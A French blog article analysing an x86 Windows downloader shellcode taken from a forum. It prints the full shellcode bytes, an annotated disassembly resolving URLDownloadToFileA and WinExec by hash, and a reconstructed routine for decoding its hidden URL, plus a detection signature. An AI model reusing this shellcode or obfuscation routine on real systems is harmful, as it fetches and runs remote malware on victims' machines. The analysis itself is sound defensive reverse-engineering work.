I. Introduction
Nous avons indiqué qu'il y avait une autre partie intéressant à la fin du shellcode.
C'est ce que l'on va voir dans cette article l'analyse du fonction inconnue.
Nous remettons le
site en question ou ce trouve le shellcode :
"https://wasm.in/threads/pomogite-razobratsja-v-instrukcijax.22344/"
II. Le shellcode
Voici le shellcode X32 correspondant. Nous avons mis en
rouge la partie qui sera étudié dans cette article
\x64\xA1\x18\x00\x00\x00\x8B\x40\x30\x8B\x40\x54\x8B\x40\x04\x8B
\x40\x04\x8B\x40\x04\x0D\x20\x00\x20\x00\x3D\x7C\x00\x77\x00\x74
\x01\xC3\x33\xC0\x64\x8B\x40\x30\x78\x0C\x8B\x40\x0C\x8B\x70\x1C
\xAD\x8B\x58\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C\x8B\x58\x3C\x6A
\x4E\x5A\xD1\xE2\x2B\xE2\x8B\xEC\xC7\x45\x10\x6E\x2E\x65\x78\xC7
\x45\x14\xFF\x01\x00\x00\xC7\x45\x00\x00\x00\x00\x00\xEB\x4F\x5A
\x52\x83\xEA\x56\x89\x55\x18\x56\x57\x8B\x73\x3C\x8B\x74\x33\x78
\x03\xF3\x56\x8B\x76\x20\x03\xF3\x33\xC9\x49\x50\x41\xAD\x33\xFF
\x36\x0F\xBE\x14\x03\x38\xF2\x74\x08\xC1\xCF\x0D\x03\xFA\x40\xEB
\xEF\x58\x3B\xF8\x75\xE5\x5E\x8B\x46\x24\x03\xC3\x66\x8B\x0C\x48
\x8B\x56\x1C\x03\xD3\x8B\x04\x8A\x03\xC3\x5F\x5E\x50\xC3\x8D\x7D
\x1C\x57\x52\xB8\x33\xCA\x8A\x5B\xE8\xA2\xFF\xFF\xFF\x32\xC0\x8B
\xF7\xF2\xAE\x4F\x8B\x45\x10\xAB\x66\x98\x66\xAB\x33\xC0\xB8\x61
\x64\x00\x00\x50\x68\x54\x68\x72\x65\x35\x24\x1C\x69\x74\x50\x54
\x53\xB8\xAA\xFC\x0D\x7C\xFF\x55\x18\x83\xC4\x0C\x50\xB0\x6C\x8A
\xE0\x98\x50\x68\x6F\x6E\x2E\x64\x68\x75\x72\x6C\x6D\x54\xB8\x8E
\x4E\x0E\xEC\xFF\x55\x18\x83\xC4\x0C\x93\x50\x33\xC0\x50\x50\x56
\x8B\x55\x18\x03\x55\x14\x52\x50\xB8\x36\x1A\x2F\x70\xFF\x55\x18
\x5B\x83\x7D\x00\x01\x0F\x85\x9E\x00\x00\x00\x6A\x00\x68\x80\x00
\x00\x00\x6A\x03\x6A\x00\x6A\x03\x68\x00\x00\x00\xC0\x56\xB8\xA5
\x17\x00\x7C\xFF\x55\x18\x89\x45\x04\x6A\x04\x68\x00\x10\x00\x00
\x68\x00\x00\x08\x00\x6A\x00\xB8\x54\xCA\xAF\x91\xFF\x55\x18\x89
\x45\x0C\x50\x6A\x00\x8D\x4D\x08\x51\x68\x00\x00\x08\x00\x50\xFF
\x75\x04\xB8\x16\x65\xFA\x10\xFF\x55\x18\x5F\x8B\x17\x83\xC7\x04
\x8B\x4D\x08\x83\xE9\x04\xE8\xA7\x00\x00\x00\x6A\x00\x6A\x00\x6A
\x00\xFF\x75\x04\xB8\xAC\x08\xDA\x76\xFF\x55\x18\x6A\x00\x8D\x4D
\x08\x51\xFF\x75\x08\xFF\x75\x0C\x83\x04\x24\x04\xFF\x75\x04\xB8
\x1F\x79\x0A\xE8\xFF\x55\x18\xFF\x75\x04\xB8\xFB\x97\xFD\x0F\xFF
\x55\x18\xC7\x45\x00\x02\x00\x00\x00\x57\x56\xB8\x98\xFE\x8A\x0E
\xFF\x55\x18\xEB\x2A\x18\x2A\xF9\xB7\xD2\x77\xB3\x01\x45\x8A\x92
\xB7\xAD\x50\x5D\xE4\x67\xF5\xE6\xC7\x1A\xBF\xAB\x1E\x10\x42\x76
\xA2\xA1\x54\x63\x09\x7B\x89\xB0\xF4\x97\x4E\x73\x93\x3F\xF1\x83
\x7D\x00\x02\x74\x60\xC7\x45\x00\x01\x00\x00\x00\xC7\x45\x10\x79
\x2E\x65\x78\xC7\x45\x14\x72\x01\x00\x00\x8B\x7D\x18\x03\x7D\x14
\xB9\x26\x00\x00\x00\x8B\x57\xFC\xE8\x05\x00\x00\x00\xE9\x7C\xFE
\xFF\xFF\x33\xC0\x8A\x07\xD2\xC8\x32\xC1\xF6\xD0\x32\xC5\x32\xC2
\x32\xC6\xD2\xC0\x02\xC1\x02\xC5\x02\xC2\x02\xC6\xD2\xC8\x2A\xC1
\x2A\xC5\xF6\xD0\x2A\xC2\x2A\xC6\xD2\xC0\xD3\xC2\x0F\xCA\x88\x07
\x47\x49\x75\xCE\xC3\xC3
|
Nous avons positionné l'analyse du shellcode effectué au travers de
l'outil vu dans le précédent article et ciblé sur le bloc qui nous intéresse.
00000000 ->
00000021:
=>{BLOC}[IsCheckEmulationCodeX32V1 -> RET si Emulation] conçu
only for OS/Win 32Bits
00000022 -> 0000003E:
=>{BLOC}[AsmGetKernel32_V14 -> EBX] conçu pour Win9X/NT
0000003F: 6A 4E PUSH
4Eh (78) 'N'
00000041: 5A POP
EDX
00000042: D1 E2 SHL
EDX,1
00000044: 2B E2 SUB
ESP,EDX
00000046: 8B EC MOV
EBP,ESP
00000048: C7 45 10 6E 2E 65 78 MOV DWORD PTR [EBP+10h], 78652E6Eh
"n.ex"
0000004F: C7 45 14 FF 01 00 00 MOV DWORD PTR [EBP+14h], 000001FFh
"ÿ"
00000056: C7 45 00 00 00 00 00 MOV DWORD PTR [EBP+00h], 00000000h
""
0000005D: EB 4F JMP
4Fh +4Fh ->:000000AE)
0000005F: 5A POP
EDX
00000060: 52 PUSH
EDX
00000061: 83 EA 56 SUB
EDX,56h
00000064: 89 55 18 MOV
DWORD PTR[EBP+18h],EDX
00000067 ->
000000AD:
=>ApiCall_V2[EAX:dwHashRor13Additive,EBX:hModule]
000000AE: 8D 7D 1C LEA
EDI,[EBP+1Ch]
000000B1: 57 PUSH
EDI
000000B2: 52 PUSH EDX
000000B3: B8 33 CA 8A 5B MOV EAX, 5B8ACA33h
(5B8ACA33=Hash[ROR13(Additive)]('GetTempPathA'))
000000B8: E8 A2 FF FF FF CALL FFFFFFA2h (-5Eh ->:0000005F)
000000BD: 32 C0 XOR
AL,AL
000000BF: 8B F7 MOV
ESI,EDI
000000C1: F2 AE REPNE SCAS BYTE
PTR ES:[EDI]
000000C3: 4F DEC
EDI
000000C4: 8B 45 10 MOV
EAX,DWORD PTR [EBP+10h]
000000C7: AB STOSD
(Store EAX at address ES:(E)DI)
000000C8: 66 98 CBW
000000CA: 66 AB STOS
WORD PTR ES:[EDI],AX
000000CC: 33 C0 XOR
EAX,EAX
000000CE: B8 61 64 00 00 MOV EAX, 00006461h "ad"
000000D3: 50 PUSH
EAX
000000D4: 68 54 68 72 65 PUSH 65726854h "Thre" / {84 104 114
101} / < w:29285 | w:21608 >
000000D9: 35 24 1C 69 74 XOR EAX,74691C24h
000000DE: 50 PUSH
EAX
000000DF: 54 PUSH
ESP
000000E0: 53 PUSH
EBX
000000E1: B8 AA FC 0D 7C MOV EAX, 7C0DFCAAh
(7C0DFCAA=Hash[ROR13(Additive)]('GetProcAddress'))
000000E6: FF 55 18 CALL
DWORD PTR [EBP+18h]
000000E9: 83 C4 0C ADD
ESP,0Ch
000000EC: 50 PUSH EAX
000000ED: B0 6C MOV
AL,0x6C
000000EF: 8A E0 MOV
AH,AL
000000F1: 98 CWDE
(Convert WorD to Extended) WORD=>DWORD EAX=0000XXXX
000000F2: 50 PUSH
EAX
000000F3: 68 6F 6E 2E 64 PUSH 642E6E6Fh "on.d" ( 642E6E6F =
('d.no') => PILE:on.d )
000000F8: 68 75 72 6C 6D PUSH 6D6C7275h "urlm" ( 6D6C7275 =
('mlru') => PILE:urlm )
000000FD: 54 PUSH
ESP
000000FE: B8 8E 4E 0E EC MOV EAX, EC0E4E8Eh (EC0E4E8E=Hash[ROR13(Additive)]('LoadLibraryA'))
00000103: FF 55 18 CALL
DWORD PTR [EBP+18h]
00000106: 83 C4 0C ADD
ESP,0Ch
00000109: 93 XCHG
EAX,EBX (Exchanges (swaps) the value of 2 registers)
0000010A: 50 PUSH
EAX
0000010B: 33 C0 XOR
EAX,EAX
0000010D: 50 PUSH
EAX
0000010E: 50 PUSH
EAX
0000010F: 56 PUSH
ESI
00000110: 8B 55 18 MOV
EDX,DWORD PTR [EBP+18h]
00000113: 03 55 14 ADD
EDX,DWORD PTR[EBP+14h]
00000116: 52 PUSH
EDX
00000117: 50 PUSH
EAX
00000118: B8 36 1A 2F 70 MOV EAX, 702F1A36h
(702F1A36=Hash[ROR13(Additive)]('URLDownloadToFileA'))
0000011D: FF 55 18 CALL
DWORD PTR [EBP+18h]
00000120: 5B POP
EBX
00000121: 83 7D 00 01 CMP DWORD PTR[EBP+00h],01h
00000125: 0F 85 9E 00 00 00 JNE 0000009Eh (+9Eh ->:000001C9)
0000012B: 6A 00 PUSH
00h (0) '
0000012D: 68 80 00 00 00 PUSH 00000080h "€" / {128 0 0 0} / <
w:0 | w:32768 >
00000132: 6A 03 PUSH
03h (3)
00000134: 6A 00 PUSH
00h (0) '
00000136: 6A 03 PUSH
03h (3)
00000138: 68 00 00 00 C0 PUSH C0000000h "" / {0 0 0 192} / <
w:192 | w:0 >
0000013D: 56 PUSH
ESI
0000013E: B8 A5 17 00 7C MOV EAX, 7C0017A5h "¥"
00000143: FF 55 18 CALL
DWORD PTR [EBP+18h]
00000146: 89 45 04 MOV
DWORD PTR[EBP+04h],EAX
00000149: 6A 04 PUSH
04h (4)
0000014B: 68 00 10 00 00 PUSH 00001000h "" / {0 16 0 0} / <
w:0 | w:16 >
00000150: 68 00 00 08 00 PUSH 00080000h "" / {0 0 8 0} / <
w:2048 | w:0 >
00000155: 6A 00 PUSH
00h (0) '
00000157: B8 54 CA AF 91 MOV EAX, 91AFCA54h
(91AFCA54=Hash[ROR13(Additive)]('VirtualAlloc'))
0000015C: FF 55 18 CALL
DWORD PTR [EBP+18h]
0000015F: 89 45 0C MOV
DWORD PTR[EBP+0Ch],EAX
00000162: 50 PUSH
EAX
00000163: 6A 00 PUSH
00h (0) '
00000165: 8D 4D 08 LEA
ECX,[EBP+08h]
00000168: 51 PUSH
ECX
00000169: 68 00 00 08 00 PUSH 00080000h "" / {0 0 8 0} / <
w:2048 | w:0 >
0000016E: 50 PUSH
EAX
0000016F: FF 75 04 PUSH
DWORD PTR [EBP+04h]
00000172: B8 16 65 FA 10 MOV EAX, 10FA6516h
(10FA6516=Hash[ROR13(Additive)]('ReadFile'))
00000177: FF 55 18 CALL
DWORD PTR [EBP+18h]
0000017A: 5F POP
EDI
0000017B: 8B 17 MOV
EDX,DWORD PTR [EDI]
0000017D: 83 C7 04 ADD
EDI,04h
00000180: 8B 4D 08 MOV
ECX,DWORD PTR [EBP+08h]
00000183: 83 E9 04 SUB
ECX,04h
00000186: E8 A7 00 00 00 CALL 000000A7h (+A7h ->:00000232)
0000018B: 6A 00 PUSH
00h (0) '
0000018D: 6A 00 PUSH
00h (0) '
0000018F: 6A 00 PUSH
00h (0) '
00000191: FF 75 04 PUSH
DWORD PTR [EBP+04h]
00000194: B8 AC 08 DA 76 MOV EAX, 76DA08ACh
(76DA08AC=Hash[ROR13(Additive)]('SetFilePointer'))
00000199: FF 55 18 CALL
DWORD PTR [EBP+18h]
0000019C: 6A 00 PUSH
00h (0) '
0000019E: 8D 4D 08 LEA
ECX,[EBP+08h]
000001A1: 51 PUSH
ECX
000001A2: FF 75 08 PUSH
DWORD PTR [EBP+08h]
000001A5: FF 75 0C PUSH
DWORD PTR [EBP+0Ch]
000001A8: 83 04 24 04 ADD DWORD PTR [ESP],04h
000001AC: FF 75 04 PUSH
DWORD PTR [EBP+04h]
000001AF: B8 1F 79 0A E8 MOV EAX, E80A791Fh (E80A791F=Hash[ROR13(Additive)]('WriteFile'))
000001B4: FF 55 18 CALL
DWORD PTR [EBP+18h]
000001B7: FF 75 04 PUSH
DWORD PTR [EBP+04h]
000001BA: B8 FB 97 FD 0F MOV EAX, 0FFD97FBh "û—ý"
000001BF: FF 55 18 CALL
DWORD PTR [EBP+18h]
000001C2: C7 45 00 02 00 00 00 MOV DWORD PTR [EBP+00h], 00000002h
"[1]"
000001C9: 57 PUSH
EDI
000001CA: 56 PUSH
ESI
000001CB: B8 98 FE 8A 0E MOV EAX, 0E8AFE98h (0E8AFE98=Hash[ROR13(Additive)]('WinExec'))
000001D0: FF 55 18 CALL
DWORD PTR [EBP+18h]
000001D3: EB 2A JMP
2Ah +2Ah ->:000001FF)
000001D5: 18 2A SBB
BYTE PTR[EDX],CH
000001D7: F9 STC // Set Carry Flag (Arme le drapeau de
retenue)
000001D8: B7 D2 MOV
BH,D2h
000001DA: 77 B3 JA
B3h (Jump if Above)(-4Dh ->:0000018F)
000001DC: 01 45 8A ADD
DWORD PTR[EBP-0x76],EAX
000001DF: 92 XCHG
EAX,EDX (Exchanges (swaps) the value of 2 registers)
000001E0: B7 AD MOV
BH,ADh
000001E2: 50 PUSH
EAX
000001E3: 5D POP
EBP
000001E4: E4 67 IN
AL,0x67
000001E6: F5 CMC
000001E7: E6 C7 OUT
0xC7,AL
000001E9: 1A BF AB 1E 10 42 SBB BH,BYTE PTR[EDI+0x42101EAB]
000001EF: 76 A2 JBE
A2h (rel8)(-5Eh ->:00000193)
000001F1: A1 54 63 09 7B MOV EAX,DWORD PTR[7B096354h]
000001F6: 89 B0 F4 97 4E 73 MOV DWORD PTR[EAX+0x734E97F4],ESI
000001FC: 93 XCHG
EAX,EBX (Exchanges (swaps) the value of 2 registers)
000001FD: 3F AAS (ASCII adjust AL after subtraction)
000001FE: F1 ICEBP (INT01 (ICE BreakPoint))
000001FF: 83 7D 00 02 CMP DWORD PTR[EBP+00h],02h
00000203: 74 60 JZ
0x60 (+60h ->:00000265)
00000205: C7 45 00 01 00 00 00 MOV DWORD PTR [EBP+00h], 00000001h
""
0000020C: C7 45 10 79 2E 65 78 MOV DWORD PTR [EBP+10h], 78652E79h
"y.ex"
00000213: C7 45 14 72 01 00 00 MOV DWORD PTR [EBP+14h], 00000172h
"r"
0000021A: 8B 7D 18 MOV
EDI,DWORD PTR [EBP+18h]
0000021D: 03 7D 14 ADD
EDI,DWORD PTR [EBP+14h]
00000220: B9 26 00 00 00 MOV ECX, 00000026h "&"
00000225: 8B 57 FC MOV
EDX,[EDI-04h]
00000228: E8 05 00 00 00 CALL 00000005h (+05h ->:00000232)
0000022D: E9 7C FE FF FF JMP FFFFFE7Ch (-FFFFFE7Ch ->:000000AE)
00000232: 33 C0 XOR
EAX,EAX
00000234: 8A 07 MOV
AL, BYTE PTR [EDI]
00000236: D2 C8 ROR
AL,CL
00000238: 32 C1 XOR
AL,CL
0000023A: F6 D0 NOT
AL
0000023C: 32 C5 XOR
AL,CH
0000023E: 32 C2 XOR
AL,DL
00000240: 32 C6 XOR
AL,DH
00000242: D2 C0 ROL
AL,CL
00000244: 02 C1 ADD
AL,CL
00000246: 02 C5 ADD
AL,CH
00000248: 02 C2 ADD
AL,DL
0000024A: 02 C6 ADD
AL,DH
0000024C: D2 C8 ROR
AL,CL
0000024E: 2A C1 SUB
AL,CL
00000250: 2A C5 SUB
AL,CH
00000252: F6 D0 NOT
AL
00000254: 2A C2 SUB
AL,DL
00000256: 2A C6 SUB
AL,DH
00000258: D2 C0 ROL
AL,CL
0000025A: D3 C2 ROL
EDX,CL
0000025C: 0F CA BSWAP
EDX
0000025E: 88 07 MOV
[EDI],AL
00000260:
47 INC
EDI
00000261:
49 DEC
ECX
00000262:
75 CE JNZ
CEh (rel8)(-32h ->:00000232)
00000264: C3 RET
00000265: C3 RET
|
Nous voyons un call en ligne 0x00000186 qui point vers l'adresse
0x00000232. Et quand on va à cette endroit on peut distinguer une fonction avec
plusieurs opérations consécutives avec des opérations ROR, ROL , NOT , ADD ,
SUB.. etc
Cela ressemble à de la transformation d'octet. Ce qui est
facile à voir vu les premiers instructions
00000232: 33 C0 XOR EAX,EAX
00000234: 8A 07 MOV AL, BYTE PTR [EDI]
qui caractérise de mettre dans le registre AL le BYTE(octet) ce trouvant à l'adresse contenu dans EDI
On reconnaît également une boucle à ligne de fin
00000261: 49 DEC ECX
00000262: 75 CE JNZ CEh (rel8)(-32h ->:00000232)
Ce qui est assez bizarre et que
l'opération dans cette boucle concerne également le registre EDX qui est aussi
définit avant le call vers ce bloc.
Au début , nous avons pensé à
une fonction de Hash lié au ROR et ROL camouflé avec des opérations ce
neutralisant. Cela ne colle pas trop, donc comme on supposait que la fonction
était de la forme Fn(char* p , DWORD nSize, DWORD dwJeSaisPasAQuoiTuEsUtile );
Pour simplifier on a réduit le
nombre de paramètre en neutralisant le registre EDX
En découpant sur deux tableaux
l'un avec EDX = 0x00000000 pour
distinguer les traitements sur la chaîne sans l'interaction du registre EDX sur celle-ci.
Nous arrivons au tableau en dessous:
Code avec EDX =
0x00000000
|
Code sur EDX
dans la boucle seul
|
00000232: 33 C0 XOR
EAX,EAX
00000234: 8A 07 MOV
AL, BYTE PTR [EDI]
00000236: D2 C8 ROR
AL,CL
00000238: 32 C1 XOR
AL,CL
0000023A: F6 D0 NOT
AL
0000023C: 32 C5 XOR
AL,CH
0000023E:
00000240:
00000242: D2 C0 ROL
AL,CL
00000244: 02 C1 ADD
AL,CL
00000246: 02 C5 ADD
AL,CH
00000248:
0000024A:
0000024C: D2 C8 ROR
AL,CL
0000024E: 2A C1 SUB
AL,CL
00000250: 2A C5 SUB
AL,CH
00000252: F6 D0 NOT
AL
00000254:
00000256:
00000258: D2 C0 ROL
AL,CL
0000025A:
0000025C:
0000025E: 88 07 MOV
[EDI],AL
00000260: 47 INC EDI
00000261: 49 DEC ECX
00000262: 75 CE JNZ CEh (rel8)(-32h
->:00000232)
00000264: C3 RET
|
00000232: 33 C0 XOR
EAX,EAX
00000234: 8A 07 MOV
AL, BYTE PTR [EDI]
00000236:
00000238:
0000023A:
0000023C:
0000023E:
00000240:
00000242:
00000244:
00000246:
00000248:
0000024A:
0000024C:
0000024E:
00000250:
00000252:
00000254:
00000256:
00000258:
0000025A: D3 C2 ROL
EDX,CL
0000025C: 0F CA BSWAP
EDX
0000025E:
00000260:
00000261: 49 DEC ECX
00000262: 75 CE JNZ CEh (rel8)(-32h
->:00000232)
00000264: C3 RET
|
On voit que ECX et décrémenté d'une valeur N vers 0 et
qu'elle sert dans la transformation
ce qui aussi a croiser avec le fait que le DWORD contenu
subit aussi des modifications à chaque itération de la boucle et un sur tous un
ROL fonction de CL donc de ECX.
De là on peut écarter les packers de type à key constant
- Encoder
XOR Const Key BYTE
- Encoder
SUB Const Key DWORD
- Encoder
XOR Const Key DWORD
....etc
Ce code est plus proche d'un "Shikata Ga Nai Encoder" dans
l'esprit avec ce ROL et la key qui est
modifié à chaque itération. Mais les actions sur l'octet cela est loin d'aller dans ce sens.
En posant l'hypothèse que EDX est la KeyInitial de cryptage/décryptage ,on pourrait plus imaginer que c'est un packer d'une
forme exotique sans essayer de faire des correspondances à d'ancien Shellcode analysé.
Partons de ce postulat ,cela nous donne une fonction de la forme suivant:
VOID FnDecodeDataByKeyDWORD(CHAR*
pMemory,DWORD dwSize, DWORD dwKeyDecode);
Nous avons pris le partie de parler de décodage, car l'intérêt
même de l'ensemble du shellcode
et de télécharger un binaire, il faut obligatoirement une
Url qui n'est pas visible dans le code.
De plus comme il y a des Apis qui sont appelées pour des opérations
sur des fichiers.
On peut pousser le raisonnement que l'on aurait besoin de décoder le
flux téléchargé pour obtenir le code exacte et que notre fonction et utiliser potentiellement pour cela.
Comme dit cela n'est qu'une supposition dans le nomde la
fonction possible. il est toujours important de garder à l'esprit que nous construction du démarche d'analyse et que le nom est donc arbitraire
à ce stade.Mais présenti comme rôle et fonction.
En regardant de plus prés pour voir ou les appels de CALL. nous avons
mis en gras les appels vers cette fonction. Nous avons détecté que notre outils a
pas pris deux HASHs
Au ligne suivant:
0000013E: B8 A5 17 00 7C MOV EAX,
7C0017A5h "¥"
00000143: FF 55 18 CALL DWORD PTR [EBP+18h]
000001BA: B8
FB 97 FD 0F MOV EAX, 0FFD97FBh
"û—ý"
000001BF: FF
55 18 CALL DWORD PTR [EBP+18h]
Cela peut nous
aider pour comprendre des actions pas visible au premier coup d'œil dans le shellcode.
Nous prenons une
peu de temps pour regarder ce point avant de revenir au Call.
Théoriquement étant
des listes de Hash dynamique, hormis si une exclusion a été mis dans
l'outil lors de l'étude d'un autre shellcode. Il aurait du détecter ses hashs
basiques
Donc cela nous donne nos 2 hashs manquant
7C0017A5h (7C0017A5=Hash[ROR13(Additive)]('CreateFileA'))
0FFD97FBh (0FFD97FB =Hash[ROR13(Additive)]('CloseHandle'))
La seul partie qui peut nous aider en l'état est le passage
des paramètres avant l'appel au call et des deux celui-ci qui semble le plus
intéressant et celui remis en dessous:
00000205: C7 45 00 01 00 00 00 MOV DWORD PTR [EBP+00h], 00000001h
""
0000020C: C7 45 10 79 2E 65 78 MOV DWORD PTR [EBP+10h], 78652E79h
"y.ex"
00000213: C7 45 14 72 01 00 00 MOV DWORD PTR [EBP+14h], 00000172h
"r"
0000021A: 8B 7D 18 MOV
EDI,DWORD PTR [EBP+18h]
0000021D: 03 7D 14 ADD
EDI,DWORD PTR [EBP+14h]
00000220: B9 26 00 00 00 MOV ECX, 00000026h "&"
00000225: 8B 57 FC MOV
EDX,[EDI-04h]
00000228: E8 05 00 00 00 CALL 00000005h (+05h ->:00000232)
|
On peut déterminer que le buffer passé fait 38 (0x26)
octets. Comme on le voit dans le code assembleur du shellcode. Chaque appel et
construit de la manière suivant:
00000194: B8 AC 08 DA 76 MOV EAX,
76DA08ACh
(76DA08AC=Hash[ROR13(Additive)]('SetFilePointer'))
00000199: FF 55 18 CALL DWORD PTR [EBP+18h]
000001AF: B8 1F 79 0A E8 MOV EAX,
E80A791Fh (E80A791F=Hash[ROR13(Additive)]('WriteFile'))
000001B4: FF 55 18 CALL DWORD PTR [EBP+18h]
000001CB: B8 98 FE 8A 0E MOV EAX,
0E8AFE98h
(0E8AFE98=Hash[ROR13(Additive)]('WinExec'))
000001D0: FF 55 18 CALL DWORD PTR [EBP+18h]
Donc l'adresse de EBP+18 contient l'adresse d'un DWORD sur
la fonction
00000067
-> 000000AD:
=>ApiCall_V2[EAX:dwHashRor13Additive,EBX:hModule]
Donc DWORD PTR [EBP+18h] contient 0x00000067 cela va nous aider pour
la suite.
Il est simple de déterminer la
valeur du registre EDI au travers du code suivant:
00000213: C7 45 14 72 01 00 00 MOV DWORD PTR [EBP+14h], 00000172h "r"
0000021A: 8B 7D 18 MOV EDI,DWORD PTR [EBP+18h]
0000021D: 03 7D 14 ADD EDI,DWORD PTR [EBP+14h]
Nous obtenons EDI ( 0x00000067 + 0x00000172
= 0x000001D9 )
Et maintenant nous pouvons
déduire EDX , par rapport a l'instruction suivant:
00000225: 8B 57 FC MOV EDX,[EDI-04h]
EDX est affecté avec la valeur d'un DWORD ce trouvant à
l'adresse EDI - 0x04 qui nous donne un DWORD stocké à l'adresse 0x000001D5
Hors cette adresse correspond au ligne suivant dans le
shellcode.
000001D3: EB 2A JMP 2Ah +2Ah ->:000001FF)
000001D5: 18 2A SBB
BYTE PTR[EDX],CH
000001D7: F9 STC
// Set Carry Flag (Arme le
drapeau de retenue)
000001D8: B7 D2 MOV
BH,D2h
On peut se poser la question légitime, si ces instructions
sont vraiment du code et pas plutôt des datas cachés lié au fait du JMP qui saute
cette zone.
Donc, le registre EDX aura comme valeur 0xB7F92A18 si on
suite la logique que nous avons fixé.
Comme le registre EDI
doit contenir les données et que l'on sait qu'elle démarre à l'adresse
0x000001D9
D2 77 B3
01 45 8A 92 B7 AD 50 5D E4 67 F5 E6 C7 1A BF AB 1E 10 42 76 A2 A1 54 63 09 7B
89 B0 F4 97 4E 73 93 3F F1
|
Intégrer ce codage dans un programme en C++ est assez
rapide.
Voici l'outil réalisé avec quelques fonctions de base comme la bascule en mode Asii / Hexa pour visualiser les octets différement en relation à se que l'on suppose qu'ils contiennent
Suite au test, nous retrouvons un text qui est bien une url
servant au téléchargement de la charge utile en regardant où elle est utilisé
dans le shellcode.
Ce qui est intéressant et que la Key de décodage fournit la
Key de codage et inversement
Il a été assez simple de reconstruire la fonction d'encodage à partir de
cela.Pour valider cela, nous avons fait un encodage en prenant l'url suivant
"http://9b113d1a.blogspot.com/" et comme key la valeur 9B113D1A
Nous obtenons les octets encodé de notre url, ainsi que la key de
décodage 6273A07 pour retrouver le text initial à partir de la fonction de décodage.
Nous avons décodé le donnée encodé.Et cela nous fournit
notre url initial
En conclusion la fonction étudié est bien une fonction de désobfuscation
de donnée utilisé pour décoder une url obfusqué incluse dans le shellcode.
Nous lui avons défini un nom qui la caractérise mieux
ApiDeobfuscateAStringByKeyDWORDV1(DWORD
dwKeyEncode,char* pMemory,DWORD dwSize)
Nous remettons son codage en C
DWORD ApiDeobfuscateAStringByKeyDWORD(DWORD
dwKeyEncode,char* pMemory,DWORD dwSize)
{
__asm
{
MOV
ECX,dwSize
MOV
EDI,pMemory
MOV
EDX,dwKeyEncode
boucleNonNULL:
XOR EAX,EAX
MOV AL, BYTE PTR[EDI]
ROR AL,CL
XOR AL,CL
NOT AL
XOR
AL,CH
XOR AL,DL
XOR AL,DH
ROL
AL,CL
ADD
AL,CL
ADD AL,CH
ADD AL,DL
ADD AL,DH
ROR
AL,CL
SUB
AL,CL
SUB
AL,CH
NOT
AL
SUB
AL,DL
SUB
AL,DH
ROL
AL,CL
ROL
EDX,CL
BSWAP
EDX
MOV
[EDI],AL
INC EDI
DEC ECX
JNZ boucleNonNULL
MOV
EAX,EDX
}
}
|
Nous pouvons intégrer la signature du bloc de la fonction
dans notre outils. Mais il est assez complexe de déterminer automatiquement la
zone des données encodé.
Pour la signature, nous la mettons en dessous
char
szShellCode_Block_DeObfuscateAStringByKeyDWORD[]=
"\x33\xC0\x8A\x07\xD2\xC8\x32\xC1\xF6\xD0\x32\xC5\x32\xC2"
"\x32\xC6\xD2\xC0\x02\xC1\x02\xC5\x02\xC2\x02\xC6\xD2\xC8\x2A\xC1"
"\x2A\xC5\xF6\xD0\x2A\xC2\x2A\xC6\xD2\xC0\xD3\xC2\x0F\xCA\x88\x07"
"\x47\x49\x75\xCE\xC3";
|
Suite à l'intégration à l'outil , nous avons repasser le
shellcode concerné à l'analyse. Cela nous permet maintenant de bien distingué
les différentes partie de ce shellcode.
III. Conclusions
Nous espérons que ces quelques
lignes, vous permet de mieux comprendre le mode opératoire d'analyse pouvant être
effectué pour déterminer la mission d'une fonction inconnu. Il vous a aussi
permis de voir un mécanisme d'obfuscation d'url un peu moins
courant que le XOR à key constant.
Aucun commentaire:
Enregistrer un commentaire